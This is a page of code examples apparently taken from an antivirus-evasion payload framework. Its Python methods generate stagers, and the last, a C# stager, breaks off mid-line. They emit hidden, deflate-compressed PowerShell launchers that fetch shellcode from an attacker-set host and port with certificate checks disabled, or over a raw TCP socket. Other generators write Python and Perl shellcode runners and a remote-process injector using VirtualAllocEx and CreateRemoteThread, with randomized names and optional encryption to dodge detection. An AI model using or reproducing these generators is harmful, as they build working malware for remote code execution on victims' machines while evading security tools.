Exemplo n.º 1
0
    def generate(self):
        checks, num_ends = gamemaker.senecas_games(self)
        proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@\n"""
        baseString += checks
        baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), 
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0], 
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        encoded = evasion_helpers.deflate(baseString)
        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return
Exemplo n.º 2
0
    def generate(self):
        checks, num_ends = gamemaker.senecas_games(self)
        baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@\n"""

        baseString += checks
        baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0])

        baseString += '}\n' * num_ends
        print(baseString)

        encoded = evasion_helpers.deflate(baseString)

        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return
    def generate(self):

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = Shellcode.encode('latin-1')
        Shellcode = Shellcode.decode('unicode_escape')
        # Base64 Encode Shellcode
        EncodedShellcode = base64.b64encode(bytes(Shellcode,
                                                  'latin-1')).decode('ascii')

        # Generate Random Variable Names
        ShellcodeVariableName = evasion_helpers.randomString()
        rand_ptr = evasion_helpers.randomString()
        rand_ht = evasion_helpers.randomString()
        randctypes = evasion_helpers.randomString()
        rand_virtual_protect = evasion_helpers.randomString()

        num_tabs_required = 0
        payload_code = ''

        payload_code, num_tabs_required = gamemaker.senecas_games(self)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + 'import base64\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
            payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
            payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            HeapVar = evasion_helpers.randomString()

            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + 'import base64\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
            payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 4
0
    def generate(self):

        # How I'm tracking the number of nested tabs needed
        # to make the payload
        num_ends_required = 0
        payload_code = "use Win32::API;\n"

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode

        payload_code2, num_ends_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        # randomly generate variable names
        shellcode_variable = evasion_helpers.randomString()
        ptrName = evasion_helpers.randomString()
        rand_valloc = evasion_helpers.randomString()
        rand_movemem = evasion_helpers.randomString()
        rand_cthread = evasion_helpers.randomString()
        rand_waitfor = evasion_helpers.randomString()
        rand_heapcreate = evasion_helpers.randomString()
        rand_heapalloc = evasion_helpers.randomString()
        rand_thread = evasion_helpers.randomString()

        payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (shellcode_variable, Shellcode)
        payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n"
        payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n"
        payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n"

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n"
            payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x40);\n"

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            rand_heapcrout = evasion_helpers.randomString()
            payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n"
            payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n"
            payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n"
            payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n"

        payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable )
        payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName)
        payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n"
        payload_code += '}\n' * num_ends_required

        self.payload_source_code = payload_code
        return
Exemplo n.º 5
0
    def psRaw(self):

        checks, num_ends = gamemaker.senecas_games(self)

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = ",0".join(Shellcode.split("\\"))[1:]

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@\n"""
            baseString += checks
            baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$oldprotect = 0;
$here=$o::VirtualProtect($x, [UInt32]0x1000, [UInt32]0x20, [Ref]$oldprotect);
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
            baseString += checks
            baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = %s
$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length)
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)

        baseString += '}\n' * num_ends
        print(baseString)
        return baseString
Exemplo n.º 6
0
    def generate(self):

        payload_code, num_tabs_required = gamemaker.senecas_games(self)

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode

        # Generate Random Variable Names
        ShellcodeVariableName = evasion_helpers.randomString()
        pid_num_variable = evasion_helpers.randomString()
        pagerwx_variable = evasion_helpers.randomString()
        processall_variable = evasion_helpers.randomString()
        memcommit_variable = evasion_helpers.randomString()
        shell_length_variable = evasion_helpers.randomString()
        memalloc_variable = evasion_helpers.randomString()
        prochandle_variable = evasion_helpers.randomString()
        kernel32_variable = evasion_helpers.randomString()

        # Create Payload code
        payload_code += '\t' * num_tabs_required + 'from ctypes import *\n'
        payload_code += '\t' * num_tabs_required + pagerwx_variable + ' = 0x40\n'
        payload_code += '\t' * num_tabs_required + processall_variable + ' = 0x1F0FFF\n'
        payload_code += '\t' * num_tabs_required + memcommit_variable + ' = 0x00001000\n'
        payload_code += '\t' * num_tabs_required + kernel32_variable + ' = windll.kernel32\n'
        payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = b\'' + Shellcode + '\'\n'
        payload_code += '\t' * num_tabs_required + pid_num_variable + ' = ' + self.required_options[
            "PID_NUMBER"][0] + '\n'
        payload_code += '\t' * num_tabs_required + shell_length_variable + ' = len(' + ShellcodeVariableName + ')\n'
        payload_code += '\t' * num_tabs_required + prochandle_variable + ' = ' + kernel32_variable + '.OpenProcess(' + processall_variable + ', False, ' + pid_num_variable + ')\n'
        payload_code += '\t' * num_tabs_required + memalloc_variable + ' = ' + kernel32_variable + '.VirtualAllocEx(' + prochandle_variable + ', 0, ' + shell_length_variable + ', ' + memcommit_variable + ', ' + pagerwx_variable + ')\n'
        payload_code += '\t' * num_tabs_required + kernel32_variable + '.WriteProcessMemory(' + prochandle_variable + ', ' + memalloc_variable + ', ' + ShellcodeVariableName + ', ' + shell_length_variable + ', 0)\n'
        payload_code += '\t' * num_tabs_required + kernel32_variable + '.CreateRemoteThread(' + prochandle_variable + ', None, 0, ' + memalloc_variable + ', 0, 0, 0)\n'

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 7
0
    def generate(self):

        # Generate the variable names
        randctypes = evasion_helpers.randomString()
        ShellcodeVariableName = evasion_helpers.randomString()
        RandPtr = evasion_helpers.randomString()
        RandHt = evasion_helpers.randomString()

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode

        payload_code, num_tabs_required = gamemaker.senecas_games(self)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName +' = b\'' + Shellcode + '\'\n'
            payload_code += '\t' * num_tabs_required + RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            HeapVar = evasion_helpers.randomString()

            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + ShellcodeVariableName +' = b\'' + Shellcode + '\'\n'
            payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + RandPtr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 8
0
    def psRaw(self):

        checks, num_ends = gamemaker.senecas_games(self)
        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = ",0".join(Shellcode.split("\\"))[1:]

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""

            baseString += """Function Get-ProcAddress
{
    Param
    (
        [OutputType([IntPtr])]

        [Parameter( Position = 0, Mandatory = $True )]
        [String]
        $Module,

        [Parameter( Position = 1, Mandatory = $True )]
        [String]
        $Procedure
    )

    # Get a reference to System.dll in the GAC
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    # Get a reference to the GetModuleHandle and GetProcAddress methods
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    # Get a handle to the module specified
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

    # Return the address of the function
    Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Get-DelegateType
{
    Param
    (
        [OutputType([Type])]

        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),

        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )

    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')

    Write-Output $TypeBuilder.CreateType()
}\n"""

            baseString += """$wut = New-Object System.Object
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$why = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$wut | Add-Member NoteProperty -Name VirtualProtect -Value $why\n"""

            baseString += checks
            baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$here=$wut.VirtualProtect.Invoke($x, [UInt32]0x1000, [UInt32]0x20, [Ref]0);
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
            baseString += checks
            baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = %s
$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length)
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)

        baseString += '}\n' * num_ends

        return baseString
Exemplo n.º 9
0
    def generate(self):

        # imports and namespace setup
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n"
        payload_code += "namespace %s { class %s {\n" % (
            evasion_helpers.randomString(), evasion_helpers.randomString())

        # code for the randomString() function
        randomStringName = evasion_helpers.randomString()
        bufferName = evasion_helpers.randomString()
        charsName = evasion_helpers.randomString()
        t = list(
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
        random.shuffle(t)
        chars = ''.join(t)

        # logic to turn off certificate validation
        validateServerCertficateName = evasion_helpers.randomString()
        payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" % (
            validateServerCertficateName)

        # code for the randomString() method
        payload_code += "static string %s(Random r, int s) {\n" % (
            randomStringName)
        payload_code += "char[] %s = new char[s];\n" % (bufferName)
        payload_code += "string %s = \"%s\";\n" % (charsName, chars)
        payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" % (
            bufferName, charsName, charsName)
        payload_code += "return new string(%s);}\n" % (bufferName)

        # code for the checksum8() function
        checksum8Name = evasion_helpers.randomString()
        payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" % (
            checksum8Name)

        # code fo the genHTTPChecksum() function
        genHTTPChecksumName = evasion_helpers.randomString()
        baseStringName = evasion_helpers.randomString()
        randCharsName = evasion_helpers.randomString()
        urlName = evasion_helpers.randomString()
        random.shuffle(t)
        randChars = ''.join(t)

        payload_code += "static string %s(Random r) { string %s = \"\";\n" % (
            genHTTPChecksumName, baseStringName)
        payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" % (
            baseStringName, randomStringName)
        payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" % (
            randCharsName, randChars)
        payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" % (
            randCharsName)
        payload_code += "string %s = %s + %s[j];\n" % (urlName, baseStringName,
                                                       randCharsName)
        payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}" % (
            checksum8Name, urlName, urlName)

        # code for getData() function
        getDataName = evasion_helpers.randomString()
        strName = evasion_helpers.randomString()
        webClientName = evasion_helpers.randomString()
        sName = evasion_helpers.randomString()

        payload_code += "static byte[] %s(string %s) {\n" % (getDataName,
                                                             strName)
        payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" % (
